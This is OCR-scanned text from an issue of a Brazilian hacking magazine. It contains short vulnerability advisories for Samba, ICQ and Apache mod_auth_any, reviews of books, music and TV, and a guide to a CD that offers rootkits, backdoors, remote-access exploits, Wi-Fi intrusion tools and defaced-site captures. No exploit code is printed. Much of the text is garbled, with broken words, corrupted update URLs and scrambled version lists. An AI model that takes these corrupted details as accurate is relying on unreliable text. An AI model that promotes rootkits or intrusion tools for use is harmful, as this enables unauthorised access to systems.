Samba Samba 2.0.2 Samba Samba 2 0
Samba Samba 2.0.4 Samba Samba 2.(
Samba Samba 2.0.6 Samba Samba 2 (
Samba Samba 2.0.8 Samba Samba 2
Samba Samba 2.0.10 Samba Samba 2
Samba Samba 2.2 .0 Samba Samba 2
Samba Samba 2.2.2 Samba Samba 2
Samba Samba 2.2.3 a Samba Samba 2.2.3
Samba Samba 2.2.4 Samba Samba 2.2.5
Samba Samba 2.2.5 Samba Samba 2.2.6
Samba Samba 2.2.7 a Samba Samba 2.2.7

Samba Samba 2.2 .8 Samba-TNG Samba-TNG 0.3
Samba-TNG Samba-TNG 0.3.1

Solucao: Atualize a versao de set

sao disponivel do Samba 2.2.8a, de acordo com st
operacional ou sua distribuicao.

ICQ Message Session Window Denial Of

Solucao: Inicialmente, nao parece haver um patch par ao bug
Tudo que deveremos fazer é aguardar a Mirabilis corrigir o

bug e disponibilizar um patch ou uma nova versao do ICQ.

| Apache Mod_Auth_Any Remote

Command Execution Vulnerability

Service
3 befouum. g 1 N0 Tamoso
1 de men S na O proble

IL dentro

1L que
nite atribut

[alta
ario mal-inte

falha facilmente

?> Versées Afetadas:

Mirabilis ICQ 2000.0 b Build 3278
Mirabilis ICQ 2000.0 A

Mirabilis ICQ 2001 b Build #3659
Mirabilis ICQ 2001 b Build #3638
Mirabilis ICQ 2001 b Build #3636
Mirabilis ICQ 2001 a

Mirabilis ICQ 2002 a Build#3727
Mirabilis 1ICQ 2002 a Build#372
Mirabilis ICQ 2003 a Build#380(
Mirabilis ICQ 2003 a Build#3799
Mirabilis ICQ 2003 a Build#3777

Apache é o servidor Web mais utilizado no mundo.
Tem grande prestigio no mundo free software por ter
um codigo-fonte limpo e muito seguro. No entanto,
uma falha foi descoberta em um modulo de autentica-
cao do mesmo

mod_auth_any. O problema ocorre devido a insufici-
éncia de argumentos passados pelos usuarios

Em conseqUéncia, pode ser possivel para um usuario
executar comandos arbitrarios como se fosse um Shell

"“Root™.

2> Versoes Afetadas:
mod_auth_any
+ RedHat Enterprise L
+ RedHat Enterprise Linux ES 2
+ RedHat Enterprise Linux WS 2.1
+ RedHat Linux 7.2
RedHat Linux 7.2 athlon
dHat Linux 7.2 i386
dHat Linux 7.2 i586
+ RedHat Linux 7.2 1686
+ RedHat Linux 7 64
+ RedHat Linux 7.3
+ RedHat Linux 7.3 i386
JHat Linux 7.3 1686
{Hat Linux Advanced Work Station 2.1

Solucao: A distribuicao Red Hat ja publicou um advisory

sobre o fato e a sua correcao

fto.//updates.redhat.com/7. 3/en/o0s/i386/mod_auth_any-

1.2.2-2.1386.rom

Red Hat Upgrade mod _auth_any-1.2.2-2.ia64.rpm

fto.//updates.redhat.com/7.2/en/os/iab4/mod._auth_any-

o e

2.2-2.1a64.rom
Red Hat Upgrade mod_auth_any-1.2.2-2.i386.rpm
fto.//updates.redhat.com/7. 2/en/os/i386/mod_auth_any-

7

1.2.2-2.1386.rom
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Marques de Sade

UMULURAS

Sadomasoquismo. Se vocé, leitor, curte sexo alternativo ou
simplesmente gosta de se manter informado a respeito, ja deve
conhecer o significado desta palavra, que se refere ao conjunto
de praticas sexuais que brincam com a relacao entre dor,
prazer e dominacao. Ela deriva de outras duas - sadismo e
masoquismo -, que, por sua vez, provém dos nomes de dois
escritores: o francés Marqués de Sade e o austriaco Leopold
Ritter von Sacher-Masoch, que gostavam, respectivamente, de
dar e levar uns tapas ou chicotadas no dia-a-dia.

Ok. Até ai, sem novidades, certo? S6 que, apesar de toda
essa fama, a verdade é que ha poucas pessoas no Brasil que
conhecem a literatura dos dois. Gracas, porém, a editora
lluminuras (www.iluminuras.com.br), esse patamar tem
mudado, ao menos no que se refere a Sade.

A lluminuras ja lancou traducées de dois livros famosos do
marqués - A filosofia na alcovae Didlogo entre um padre e um
moribundo - e, segundo fontes seguras, nao deve parar por af.
Como hacker e Sade tém tudo a ver com submundo, achamos
proveitoso escrever sobre um de seus classicos, e escolhemos
para isso A filosofia na alcova, apontada pelos criticos como o
menos hardcore.

Donatien-Alphonse-Francois, verdadeiro nome do marqués,
viveu na época da Revolugao Francesa e sempre teve proble-
mas com a justica, devido a seu comportamento sexual exético

e a seus escandalosos livros, os quais, alias, iam muito além do
que ele fazia na vida real.

Os livros eram incémodos porque, mais do que escrever
obscenidades, Sade cometia o “pecado” de unir pornografia,
filosofia e brutalidade em um Unico texto. Isso mesmo,
filosofia, que apresentava a concepcao de um mundo
dominado pelo crime e no qual o prazer sexual agia como
regulador de uma sociedade sem leis.

Legal, né? Pois sao essas as premissas basicas para se
entender A filosofia na alcova. A histéria se passa em um
ambiente aristocratico - algo comum em outras obras do

marqués -, a propriedade da Senhora de Saint-Ange. Trata-se

de uma mulher rica que, casada com um homem mais velho,
tem a liberdade de relacionar-se sexualmente com outros
homens e mulheres.

Saint-Ange se interessa por uma jovem de apenas 15 anos,
Eugénie, que, autorizada pelo pai, vai a casa daquela para ser

. "doutrinada”. O “doutrinamento”, feito por um homem

chamado Dolmancé, consiste em eliminar de Eugénie
todo e qualquer resquicio de moralidade, e, para isso,
os mestres fazem uso de toda espécie de relacées e
posicoes sexuais (incluindo praticas homossexuais e
orgias) e de um discurso que alimentaré a raiva que a
moga sente pela mae, justificard o assassinato,
atacard a virtude, pregaré o ateismo radical e
apresentard a crueldade como
forca motriz do universo.
Claro que, com  esses
atributos, a obrasé *«
podia fazer enorme TSy
sucesso hoje em
dia. Fez tanto, que
a edicao da
[luminuras esta
esgotada. Mas nao
se desespere. Para
conseguir um
exemplar, apele
para os sebos ou
compre traducoes
anteriores, que, se
Nnao sdo tao boas,
nem por isso tiram
o brilho do
marqués. E boa
leitura :).

Jackass pode Ser um pouco mais que isso

E de se perguntar: por que
0 programa jovem de maior
sucesso na TV mundial é um
festival de autoflagelacdo?
Estamos falando de Jackass,
da MTV, recém-chegado a
sucursal brasileira. Muitos
preferem uma resposta
simplista: é como todos os
outros programas populares da TV, com muita besteira e pouco
contetido. Mas talvez o buraco esteja bem mais embaixo. Talvez
o0 programa diga muito mais sobre o jovem de hoje, sua inconse-
quliéncia e sua gana de sucesso.

System of a Down & 0 vrdadeirn metal com atitude

0 titulo, Steal this Album (“Roube
este Album”, em portugués), ja
sugere que nao estamos falando de
uma banda qualquer. Em uma
época em que a musica comercial
estd lotada de playboys e
patricinhas, e que a grande
preocupacao dos artistas é parar a
pirataria e a troca de arquivos pela
Internet, o System of a Down deixa
bem claro em seu terceiro album
que esta mesmo pouco se lixando
pra tudo isso. Nos EUA de Bush, sao
poucas as bandas que tém coragem

Filme de Eminem peca
por falta de originalidade,
mas agrada fas

Pense em qualquer producéo
cujo foco seja a biografia de um
artista famoso. Nao costuma
haver muita originalidade no
roteiro, certo? Sempre se mostra
vida de cdo do biografado, a
amizade de pessoas especiais que
acreditaram nele, a ascensao ao

estrelato, as armadilhas da carreira e, no final, a consagracio completa.

O filme Rua das llusées(8 Mile, no original em inglés) ndo é a biografia
real de um artista, mas foi inspirado em fatos da vida do rapper Eminem,

Johnny Knoxville, a estrela principal da série, teve a idéia ao
tentar produzir um video para o Big Brother, em que apareceria
jogando spray de pimenta nos olhos, sendo acertado por um
carro e outras bizarrices. No fim, junto com outro grupo de

-‘malucos da costa leste dos EUA, eles acabaram sendo contrata-

dos para apresentar isso ao vivo, na MTV.

Hoje, conhecidos no mundo todo, eles tém um filme também
chamado de Jackasse participacao em diversas producées
recentes de Hollywood. Na MTV americana, eles passaram por
maus bocados, depois que um garoto de Boston tentou imitar suas
facanhas. Muitos comecaram a reclamar, falando que o programa
era forte demais. O problema é que isso deve ser s6 0 comego...

Jackass na MTV Brasil
Domingo, as 23h; terca, ds 21h30 e sdbado, 8 1h

de falar de politica atualmente, j& que uma classe dominante
burra faz patrulhamento ideolégico contra quem contesta o
Status quo. Situacao diferente da Europa, por exemplo, onde
temos grupos como o Atari Teenage Riot, que pode ter acabado
com a morte de seu principal lider. - :

O novo disco é mais um motivo para vocé conhecer a banda,
que traz finalmente algo de novo e com atitude ao hardcore. Na
verdade, ndo é tdo importante quanto os dois discos anteriores, ja
que se trata de sobras de estudio do sequndo disco, 7oxicity. Mas
0 vocalista e letrista Tankian afirma (e com razao) que nao ha
motivos para subestimar o disco por causa disso; as musicas nao
foram lancadas anteriormente por mero acaso, segundo ele.

De fato, o resultado é impressionante, com muita politica nas
letras e a voz inconfundivel de Tankian. Se vocé gosta de metal
pesado com muita atitude, compre (ou roube) ja!

que, por sinal, protagoniza a producéo. Por isso, em termos de
criatividade, ndo espere muito além da “receita de bolo” acima.

Rua das /lusées conta a histéria de Jimmy “Rabbit” Smith, um
rapaz que vive e trabalha em um dos mais pobres bairros de
Detroit, tem uma mée alcodlatra (papel de Kim Basinger) e sonha
em se tornar uma estrela do rap, até mesmo como forma de se
afastar do mundo de drogas e violéncia em que est4 inserido.
Para isso, ele contara com a ajuda incondicional de um amigo,
Future (Mekhi Phifer), e da bela Alex (Brittany Mﬁrphy). Deu para
sentir o gosto de “j4 viisso antes”?

Apesar disso, trés coisas valem a pena no filme: sobretudo para
os fas, o préprio Eminem, que convence como ator (as mas-linguas
dizem que é pelo fato de ele interpretar a si préprio); o realismo e
o clima “sombrio”; e, claro, a trilha sonora (a qual, ndo por acaso,
ganhou dois prémios com “Lose Yourself”).
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aqando velinhas

Ol muito especial fazer o CD da décima edlcao da H4CK3R Uma revista
que'todos ulgavam que nao passaria do nimero 2 e sobre a gual muitos dizi-
gm que nao teria assunto para fazer mais de um CD. Pois bem, para quem.dis-

I50, Mostramos que temos muito gas e que nao adianta copiar, porque a

“revista da elite é esta. Para comemorar esta edicao “historica”, selecionamos
os melhores Root kits ja programados, mais de cem e-zines sobre hacking, um
pacote com ferramentas de criptografia e uma versao do Slackware quefroda
direto do CD. Merecem destaque também as ferramentas para Wi-Fihacking.
Ok, nem todo mundo tem um laptop e uma placa PCMCIA, mas mesmo assim
é preciso estar antenado com as novas tendéncias. Falando em novidades; no
CD desta edicao vocé também encontrara os mais novos softwares de‘seguran-
ca para Linux (em Linux Tools), além de uma entrevista exclusivg,com as brasi-
leiros que estudaram na Hackademy de Paris. Confira os principajs destaques
das outras categorias do CD e até a proxima H4CK3R.

-

Videoaula sobre PGP e mais
de 40 programas para
Windows e Linux

Daemons, backdoors e
exploits para acesso

» Categoria: Wi-Fi
Hackers sem fio

A intencao de reunir estas ferramentas é puramente
educacional e isso ndo é discurso ensaiado. £ bem
possivel que vocé nao tenha um notebook nem
saiba onde existem redes sem fio na sua cidade.
Mas o que realmente importa é saber que essas

redes ja existem e estao funcionando a todo

remoto em servidores e

varias plataformas

Ferramentas e tutoriais
para acessar redes sem fio

Conversamos com o0s
brasileiros que treinaram na
Hackademy de Paris, a maior

escola de hackerismo do mundo

Mais de 100 e-zines ensinando
tecnicas hacker e falando
tudo sobre a comunidade

JA VEM COM: EMACS * LYNX * KDE 3.1

S

E tudo que vocé precisa
para tirar o maximo
do Slackware m;\oaﬁ

%05 licenca e Digeratt €O

» Categoria: Root Kits
Passaporte da alegria

Hé quem diga que os Root Kits sdo apenas uma evo-

>
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P

lucdo dos trojan horses. Mas eles sao muito mais que
isso. Com estes exploits vitaminados é possivel obter
privilégios em sistemas protegidos muito mais comple-
X0s, como o SunOS e o Unix. Também existem diversos
rootkits que fazem uso de Ethernet sniffers, que po-
dem, além de acessar a uma maquina como root, insta-
lar pacotes na mesma e administrar uma rede inteira
remotamente. No CD desta edicdo vocé terd a oportu-
nidade de conhecer muitos deles.

Desde os famosos Adore (para LKM Linux) e
Chkrootkit (protecdo) até os mais undergrounds, como
o0 Tcpd-byp para FreeBSD e muito mais. Para quem se
interessa por seguranca e ja € “gente grande” em ad-
ministracao de redes é um prato cheio. Bom apetite!

A distribuicao Linux mais hacker do mundo
rodando direto do CD sem precisar instalar 9
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vapor. Por isso vocé deve ficar atento para apren-

der como elas trabalham e quais séo suas princi-

pais vulnerabilidades. Outro ponto a se destacar

sao as diferencas entre os padroes telefénicos
do Brasil e dos EUA. Isso implica na criacdo de

; * * *SLAcKI—|VE* * % »  nhovas ferramentas a&aptadas para nosso Pais e,

para desenvolvé-las, nada melhor do que se inspirar
nos softwares gringos. Para o CD desta edicao seleciona-
mos 0s programas que vém sendo mais utilizados para
escanear redes sem fio e alguns documentos comentando
sobre 0 assunto. A questdo aqui é ndo invadir, mas sim
aprender.

» Categoria: Criptografia
Cddigos secretos
Falar de seguranca sem falar de criptografia é como

falar de futebol e nao falar da bola. Ainda mais nos
dias de hoje, quando a importancia da protecao dos

dados é imensa e as ferramentas para isso estdo cada

vez mais sofisticadas. Por isso selecionamos o que ha

de melhor nos programas de criptografia para

Windows e Linux; com destaque para o PGP, que, além

de ter sua versao mais recente no CD, tem um tutorial

em video que ensina a instalar e configurar a famosa
ferramenta. Para quem usa sistemas baseados no

Linux, também trazemos o GnuPG em uma versao livre

do PGP. Confira outros destaques desta categoria. »




PGP4Pine (aka PAPP) Script em Perl para integrar o
PGP no popular programa de e-mail Pine
Pgpenvelope Um filtro do procmail que permite
processar mensagens com o GnuPG

PGPsendmail 1.4 Cliente para o sendmail do Unix
Emacs auto-pgp Uma interface Emacs/PGP

Apocalypso 1.3.1 Uma nova ferramenta de
encriptacao. Suporta uma grande variedade de méto-
dos de encriptacao, incluindo DES, Blowfish, GOST,
Misty 1, Twofish, entre outras V

Floppy Stegano (DOS) 1.00 Ferramenta relativa-
mente simples de operar que esconde dados
criptografados dentro de disquetes.

Adendo 1.0.6.28 Com este aplicativo vocé pode
enviar mensagens ou arquivos ocultos dentro de ima-
gens, ou simplesmente ocultar informacées sigilosas
em seu computador

GnuPG 1.2.1 Ferramenta para comunicagdo e
armazenamento de dados seguros. Pode ser usada
para cifrar dados e criar assinaturas digitais. E uma
substituicdo completa e livre para PGP que nao pos-
sui restricoes, pois nao usa o algoritmo patenteado
IDEA. Usa criptografia de chave publica para que
usuarios se comuniquem seguramente. Obs.: versao
para Windows

Cryptix 3 Biblioteca que implementa funcées do PGP
sem utilizar o binario da chave

SSL Tunneling Saiba como funciona o SSL (Security
Socket Layer). Obs.: tutorial em Inglés

PGP: a Nutshell Overview Tutorial que da uma
visao geral sobre PGP, desde encriptacdo de dados a
passwords. Obs.: tutorial em inglés

PGP Encryption for Beginners Este tutorial cobre
os seguintes assuntos: O que é PGP? Introducdo a

criptografia, principais tipos de criptografia, como a
criptografia trabalha, criptografia convencional. Obs.:
tutorial em inglés

» Categoria: Defacements

Hei Madonna, tomou?

Ha um bom tempo um deface nao fazia tanto barulho
como o do site Madonna.com. Se vocé habita o planeta
Terra, certamente ja deve ter ouvido a histéria toda, mas se
nado teve a chance de ver o site desfigurado, eis aqui a sua
chance. Aproveitando este espaco, gostarfamos de reforgar
o sentido desta sessdo. Nao colocamos defacements e os
nomes dos grupos para realizar um ranking ou incentivar
esta pratica. Nossa intencdo é demonstrar que os mais
diversos tipos de servidores possuem vulnerabilidades que
podem ser facilmente exploradas. Ok?

» Categoria: White Papers

Excesso de informacao

A categoria que traz os tutoriais mais undergrounds da
Internet est4 de volta, revigorada. Nesta edicdo trazemos mais
de cem edicoes de varios e-zines diferentes. Alguns bem
antigos, outros mais recentes e todos com informacdes que
vocé nao acharia em nenhum outro lugar. Destaque para as
instrutivas publicacdes do grupo Darkcyde. Com elas vocé vai
saber mais sobre assuntos como encriptagdo, acesso remoto
e muito mais. E muita coisa para ler e aprender.

» Categoria: Linux Tools

Seu novo time de segurancas
Confira a sequir a selecao com as melhores novidades
para a area de seguranca no Linux.

FWReport 1.1.3 Ferramenta de relatérios para IPTables.
Gera relatérios diarios e mensais dos arquivos de registro,
permitindo que o administrador economize tempo, man-
tendo um controle melhor sobre a seguranca da rede e
reduzindo ataques despercebidos

Amrita VPN 0.0.9 Uma solucdo para VPN de fécil uso,
que funciona nas plataformas GNU/Linux. Usa o SSL para
uma forte encriptacdo e autenticacao

Cgi-wrap Permite que vocé execute scripts CGl sob um

- UID/GID especial em um ambiente do chroot. Ao contrario

do suexec, ndo executa scripts arbitrarios, mas somente
programas que sao instalados e configurados pelo admi-
nistrador de sistemas. Isso permite que vocé remova algu-
mas limitacoes do suexec sem abaixar a seguranca

Pycrack 0.1 Um simples modulo da extensdo de Python
para conectar com o cracklib, que é uma biblioteca que
protege contra fracos passwords

Percival Network Monitoring System 1.1.3 Ferra-
menta para monitoracdo de uma rede e do planejamento de
capacidade da RRDtool. Tem como caracteristicas uma
interface parecida com paginas da Web, suporta MIB2, Cisco,
Linux e Windows. A configuracdo é armazenada em um banco
de dados que sUporta edicao, ligacoes e multiplos usudrios

Nmap 3.25 Uma utilidade para a exploracao da rede ou
para examinar a seguranca. Oferece alvos flexiveis e
especificacao de portas, exploracao de decoy/stealth, ex-
ploracdo do sunRPC, entre outras opcoes

FloodGuard Alert Projetado para detectar todos os formu-
larios de ataques do tipo flooding, incluindo DDoSes e worms

TBFirewall 3.1 Projetado para conectar uma ou mais
redes locais a outras redes, dando forma a uma rede inter-
na. Pode também funcionar sem problema em outros mo-
delos da rede e controla as regras de firewall devido a ar-
quitetura de seus arquivos de configuracéo

My swatch 0.6 Finge ser uma execucao do msyslog e do
swatch jun{os. Quando uma determinada condicao ocor-
re, vocé pode ser notificado por e-mail. Vocé pode tam-
bém registrar o evento a um banco de dados remoto e
usar um web browser para navegar através dos registros.

KPassCard 0.1.2 Uma aplicacao para o KDE para armazenar
as senhas em um chipcard encriptado com uma senha-mestre

Paranoia Iptables Firewall 1.53 Firewall projetado
especificamente para computadores auténomos em redes
inseguras. E empregado um bom mecanismo para IP/port-

based ACLs. E requerido um arquivo que lista as conexdes
permitidas para cada porta/portrange aberta.

Openix 0.6 Uma implementacdo Open Source do proto-
colo IEEE 802.1x

Platform Independent Petri Net Editor 1.5 Ferra-
menta para criacdo e analise de redes Petri

Labrea 2.4 Programa que cria um honeypot fazendo take
over em enderecos IPs nao utilizados

Secure Data Manager 1.01 Armazena inicios de uma
sessdo e a outra informacdo confidencial para locais da
Web, computadores, cartées de crédito, etc.

Promisc Um sniffer baseado em AF_PACKET domain
socket. Analisando protocolos IP, TCP, UDP, ICMP e ARP

Pam krb5 1.3 Projetado para permitir uma integracao
suave do Kerberos 5 que checa passwords com as aplica-
¢des construidas usando o PAM

Pluggable Identification Modules 0.2 Biblioteca de
identificacdo modular

Radmind 0.9.4 Suite de ferramentas projetadas para
administrar remotamente os sistemas de arquivos de malti-
plas maquinas Unix

Privman 0.9 Usa arquivos de configuracao para fornecer
controle de acesso fine-grained para as operacées privilegi-
adas, limitando a exposicdo de um ataque

Categoria: MP3
Errata musical i
Houve um problema de espaco no CD e acabamos removendo os
MP3 da H4CK3R 9 para adicionar outros programas. O problema é
que no Guia do CD ja estava escrito e esquecemos de tirar a descricao
dos MP3 da revista. Para consertar nossa flaw, estamos publicando
novamente as musicas que nao foram na uttima edicao e pedindo

desculpas a vocé leitor. Foi mal mesmo! Kernel Panic! Queremos |
agradecer também aos leitores que mandaram e-mails reclamando.

- Valeu! Sem vocés, nds ndo teriamos percebido a m... que fizemos.
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Publicacées para usuarios domésticos,

Revistas para usuarios avancados.

Publicag
seguranca digital, redes, Linux,
hacking e muito mais.

com muita divel

Comumdade digital

e vocé acha que queimar
CDs é coisa de lunatico,
vocé precisa ler mais
sohre o assunto.

101 Dicas de Gravacao de CDs

em hreve nas hancas ou no site www.digerati.com
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